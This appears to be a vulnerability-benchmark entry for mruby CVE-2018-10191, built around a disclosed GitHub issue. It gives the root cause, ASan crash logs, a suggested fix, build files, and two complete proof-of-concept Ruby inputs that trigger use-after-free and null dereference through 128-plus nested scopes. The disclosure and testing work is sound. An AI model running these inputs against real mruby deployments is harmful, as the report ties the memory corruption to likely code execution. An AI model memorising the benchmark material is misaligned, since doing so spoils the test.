Project: mruby (mruby/mruby), language: c++
Vulnerability instance: mruby.cve-2018-10191
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/mruby/mruby/issues/3995
## Description:
Issue: mruby/mruby#3995
Title: Use after free caused by integer overflow in environment stack
State: closed
Created by: clayton-shopify
Created at: 2018-04-10 18:31:36+00:00

Issue Body:
https://hackerone.com/pnoltof reported the following:

-----

Root Cause:
===========

Nesting many scopes as seen in the input leads to an integer overflow in OP_GET_UPVAR:

```
 CASE(OP_GETUPVAR) {
      
      /* A B C  R(A) := uvget(B,C) */
      int a = GETARG_A(i);
      int b = GETARG_B(i);
      int c = GETARG_C(i);
      mrb_value *regs_a = regs + a;
      struct REnv *e = uvenv(mrb, c);
      if (!e) {
        *regs_a = mrb_nil_value();
      }
      else {
        *regs_a = e->stack[b];
      }
      NEXT;
    }
``` 

Details:
========

If 128 scopes are nested and we access a variable from the outermost scope from the innermost scope, `c` overflows to 0. `b` contains the index of of the variable in the outer scope, but is used to offset into the inner scopes stackframe. If the outermost scope contains many variables, b can become large. If b is large, and the innermost stackframe is small, we can use memory from outside the stackframe as mrb_value. In some cases, a mrb_value can contains a pointer (objects, strings etc). In these cases, the pointer  can be corrupted by controlling the memory outside the stack frame. Our POC triggers a use  after free access (see use_after_free.rb). 

In other cases, we can simply change variables from other stackframes, we observed some type confusions in various C functions that seem to dislike values changing magically (see the attached input  nullptr_deref.rb, where a corrupted proc object is used in places where an object is expected). 

Bugfix: 
=======

Ensure that deep nesting is an error condition (As this will cause bugs in ruby programs, even if the underlaying C code is fixed). Additionally add the following check (taken from SET_UPVAR, where the size is checked correctly)

```
        if (b < MRB_ENV_STACK_LEN(e)) {
             [.... perform code ]
        }
```

Steps to Reproduce:
==================

setup latest mruby

```
git clone https://github.com/mruby/mruby.git
git checkout e9ddb593f3f6c0264563eaf20f5de8cf43cc1c5d
CC=clang  LD=clang CFLAGS="-fsanitize=address -fsanitize-recover=address -ggdb -O0" LDFLAGS="-fsanitize=address" make
```

run inputs:

```
./bin/mruby use_after_free.rb 

=================================================================
==24954==ERROR: AddressSanitizer: heap-use-after-free on address 0x62500002a900 at pc 0x0000004a387d bp 0x7ffe67f129f0 sp 0x7ffe67f121a0
READ of size 16 at 0x62500002a900 thread T0
    #0 0x4a387c  (/tmp/mruby/bin/mruby+0x4a387c)
    #1 0x63f591  (/tmp/mruby/bin/mruby+0x63f591)
    #2 0x63a041  (/tmp/mruby/bin/mruby+0x63a041)
    #3 0x66e8e9  (/tmp/mruby/bin/mruby+0x66e8e9)
    #4 0x60ee53  (/tmp/mruby/bin/mruby+0x60ee53)
    #5 0x60fab5  (/tmp/mruby/bin/mruby+0x60fab5)
    #6 0x4ec357  (/tmp/mruby/bin/mruby+0x4ec357)
    #7 0x7f4a0ea8f82f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #8 0x419a18  (/tmp/mruby/bin/mruby+0x419a18)

0x62500002a900 is located 0 bytes inside of 9760-byte region [0x62500002a900,0x62500002cf20)
freed by thread T0 here:
    #0 0x4b9ec8  (/tmp/mruby/bin/mruby+0x4b9ec8)
    #1 0x4ee465  (/tmp/mruby/bin/mruby+0x4ee465)
    #2 0x4f3d16  (/tmp/mruby/bin/mruby+0x4f3d16)
    #3 0x4f43f4  (/tmp/mruby/bin/mruby+0x4f43f4)
    #4 0x630ea3  (/tmp/mruby/bin/mruby+0x630ea3)
    #5 0x6356d9  (/tmp/mruby/bin/mruby+0x6356d9)
    #6 0x63608e  (/tmp/mruby/bin/mruby+0x63608e)
    #7 0x645e60  (/tmp/mruby/bin/mruby+0x645e60)
    #8 0x63a041  (/tmp/mruby/bin/mruby+0x63a041)
    #9 0x66e8e9  (/tmp/mruby/bin/mruby+0x66e8e9)
    #10 0x60ee53  (/tmp/mruby/bin/mruby+0x60ee53)
    #11 0x60fab5  (/tmp/mruby/bin/mruby+0x60fab5)
    #12 0x4ec357  (/tmp/mruby/bin/mruby+0x4ec357)
    #13 0x7f4a0ea8f82f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x4b9ec8  (/tmp/mruby/bin/mruby+0x4b9ec8)
    #1 0x4ee465  (/tmp/mruby/bin/mruby+0x4ee465)
    #2 0x4f3d16  (/tmp/mruby/bin/mruby+0x4f3d16)
    #3 0x4f43f4  (/tmp/mruby/bin/mruby+0x4f43f4)
    #4 0x630ea3  (/tmp/mruby/bin/mruby+0x630ea3)
    #5 0x6356d9  (/tmp/mruby/bin/mruby+0x6356d9)
    #6 0x63608e  (/tmp/mruby/bin/mruby+0x63608e)
    #7 0x645e60  (/tmp/mruby/bin/mruby+0x645e60)
    #8 0x63a041  (/tmp/mruby/bin/mruby+0x63a041)
    #9 0x66e8e9  (/tmp/mruby/bin/mruby+0x66e8e9)
    #10 0x60ee53  (/tmp/mruby/bin/mruby+0x60ee53)
    #11 0x60fab5  (/tmp/mruby/bin/mruby+0x60fab5)
    #12 0x4ec357  (/tmp/mruby/bin/mruby+0x4ec357)
    #13 0x7f4a0ea8f82f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-use-after-free (/tmp/mruby/bin/mruby+0x4a387c) 
Shadow bytes around the buggy address:
  0x0c4a7fffd4d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fffd4e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fffd4f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fffd500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fffd510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a7fffd520:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fffd530: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fffd540: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fffd550: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fffd560: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fffd570: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==24954==ABORTING
```


and also:

```
$./bin/mruby null_ptr_deref.rb
ASAN:DEADLYSIGNAL
=================================================================
==8347==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005c73b2 bp 0x7ffcf3381b50 sp 0x7ffcf33818e0 T0)
    #0 0x5c73b1  (/tmp/mruby/bin/mruby+0x5c73b1)
    #1 0x5c709f  (/tmp/mruby/bin/mruby+0x5c709f)
    #2 0x668326  (/tmp/mruby/bin/mruby+0x668326)
    #3 0x63a041  (/tmp/mruby/bin/mruby+0x63a041)
    #4 0x66e8e9  (/tmp/mruby/bin/mruby+0x66e8e9)
    #5 0x60ee53  (/tmp/mruby/bin/mruby+0x60ee53)
    #6 0x60fab5  (/tmp/mruby/bin/mruby+0x60fab5)
    #7 0x4ec357  (/tmp/mruby/bin/mruby+0x4ec357)
    #8 0x7feb5c5d882f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #9 0x419a18  (/tmp/mruby/bin/mruby+0x419a18)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/tmp/mruby/bin/mruby+0x5c73b1) 
==8347==ABORTING
```

Authors:
========
Daniel Teuchert, Cornelius Aschermann, Tommaso Frassetto, Tigist Abera

## Impact

By leveraging the use after free, an attacker is most likely able to obtain arbitrary code execution.

`use_after_free.rb`:
```ruby
a2="2"*200
a3="3"*200
a4="4"*200
a5="5"*200
a6="6"*200
a7="7"*200
a8="8"*200
a9="9"*200
a10="10"*200
a11="11"*200
a12="12"*200
a13="13"*200
a14="14"*200
a15="15"*200
a16="16"*200
a17="17"*200
a18="18"*200
a19="19"*200
a20="20"*200
a21="21"*200
a22="22"*200
a23="23"*200
a24="24"*200
a25="25"*200
a26="26"*200
a27="27"*200
a28="28"*200
a29="29"*200
a30="30"*200
a31="31"*200
a32="32"*200
a33="33"*200
a34="34"*200
a35="35"*200
a36="36"*200
a37="37"*200
a38="38"*200
a39="39"*200
a40="40"*200
a41="41"*200
a42="42"*200
a43="43"*200
a44="44"*200
a45="45"*200
a46="46"*200
a47="47"*200
a48="48"*200
a49="49"*200
a50="50"*200
a51="51"*200
a52="52"*200
a53="53"*200
a54="54"*200
a55="55"*200
a56="56"*200
a57="57"*200
a58="58"*200
a59="59"*200
a60="60"*200
a61="61"*200
a62="62"*200
a63="63"*200
a64="64"*200
a65="65"*200
a66="66"*200
a67="67"*200
a68="68"*200
a69="69"*200
a70="70"*200
a71="71"*200
a72="72"*200
a73="73"*200
a74="74"*200
a75="75"*200
a76="76"*200
a77="77"*200
a78="78"*200
a79="79"*200
a80="80"*200
a81="81"*200
a82="82"*200
a83="83"*200
a84="84"*200
a85="85"*200
a86="86"*200
a87="87"*200
a88="88"*200
a89="89"*200
a90="90"*200
a91="91"*200
a92="92"*200
a93="93"*200
a94="94"*200
a95="95"*200
a96="96"*200
a97="97"*200
a98="98"*200
a99="99"*200
a100="100"*200
a101="101"*200
a102="102"*200
a103="103"*200
a104="104"*200
a105="105"*200
a106="106"*200
a107="107"*200
a108="108"*200
a109="109"*200
a110="110"*200
a111="111"*200
a112="112"*200
a113="113"*200
a114="114"*200
a115="115"*200
a116="116"*200
a117="117"*200
a118="118"*200
a119="119"*200
a120="120"*200
a121="121"*200
a122="122"*200
a123="123"*200
a124="124"*200
a125="125"*200
a126="126"*200
a127="127"*200
a128="128"*200
a129="129"*200
a130="130"*200
a131="131"*200
a132="132"*200
a133="133"*200
a134="134"*200
a135="135"*200
a136="136"*200
a137="137"*200
a138="138"*200
a139="139"*200
a140="140"*200
a141="141"*200
a142="142"*200
a143="143"*200
a144="144"*200
a145="145"*200
a146="146"*200
a147="147"*200
a148="148"*200
a149="149"*200
a150="150"*200
a151="151"*200
a152="152"*200
a153="153"*200
a154="154"*200
a155="155"*200
a156="156"*200
a157="157"*200
a158="158"*200
a159="159"*200
a160="160"*200
a161="161"*200
a162="162"*200
a163="163"*200
a164="164"*200
a165="165"*200
a166="166"*200
a167="167"*200
a168="168"*200
a169="169"*200
a170="170"*200
a171="171"*200
a172="172"*200
a173="173"*200
a174="174"*200
a175="175"*200
a176="176"*200
a177="177"*200
a178="178"*200
a179="179"*200
a180="180"*200
a181="181"*200
a182="182"*200
a183="183"*200
a184="184"*200
a185="185"*200
a186="186"*200
a187="187"*200
a188="188"*200
a189="189"*200
a190="190"*200
a191="191"*200
a192="192"*200
a193="193"*200
a194="194"*200
a195="195"*200
a196="196"*200
a197="197"*200
a198="198"*200
a199="199"*200
a200="200"*200
a201="201"*200
a202="202"*200
a203="203"*200
a204="204"*200
a205="205"*200
a206="206"*200
a207="207"*200
a208="208"*200
a209="209"*200
a210="210"*200
a211="211"*200
a212="212"*200
a213="213"*200
a214="214"*200
a215="215"*200
a216="216"*200
a217="217"*200
a218="218"*200
a219="219"*200
a220="220"*200
a221="221"*200
a222="222"*200
a223="223"*200
a224="224"*200
a225="225"*200
a226="226"*200
a227="227"*200
a228="228"*200
a229="229"*200
a230="230"*200
a231="231"*200
a232="232"*200
a233="233"*200
a234="234"*200
a235="235"*200
a236="236"*200
a237="237"*200
a238="238"*200
a239="239"*200
a240="240"*200
a241="241"*200
a242="242"*200
a243="243"*200
a244="244"*200
a245="245"*200
a246="246"*200
a247="247"*200
a248="248"*200
a249="249"*200
a250="250"*200
a251="251"*200
a252="252"*200
a253="253"*200
a254="254"*200
a255="255"*200
a256="256"*200
c="baz"
"a".instance_eval{ "b".instance_eval{ "c".instance_eval{ "d".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "x".instance_eval{ "y".instance_eval{ "z".instance_eval{
puts c
} } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } }
```

`null_ptr_deref.rb`:
```ruby
a2="2"*200
a3="3"*200
c="baz"
"a".instance_eval{ "b".instance_eval{ "c".instance_eval{ "d".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "a".instance_eval{ "x".instance_eval{ "y".instance_eval{ "z".instance_eval{
def c.x; end
def c.x; end
} } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } }
```


Comments:
Comment by stevebeattie on 2018-04-17 21:05:27+00:00:
This was assigned CVE-2018-10191. Thank you!

---

Comment by take-cheeze on 2018-04-18 00:35:16+00:00:
I think compiler needs some checking for with this too.

Commit References:
e9ddb593f3f6c0264563eaf20f5de8cf43cc1c5d

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
export LD=clang
export LDFLAGS="$CFLAGS"
./minirake clean && ./minirake -j$(nproc) all

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool ruby bison
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout e340b1725260e70a001372e5330e618b8975392d
WORKDIR $SRC/mruby
COPY build.sh $SRC/

Additional files: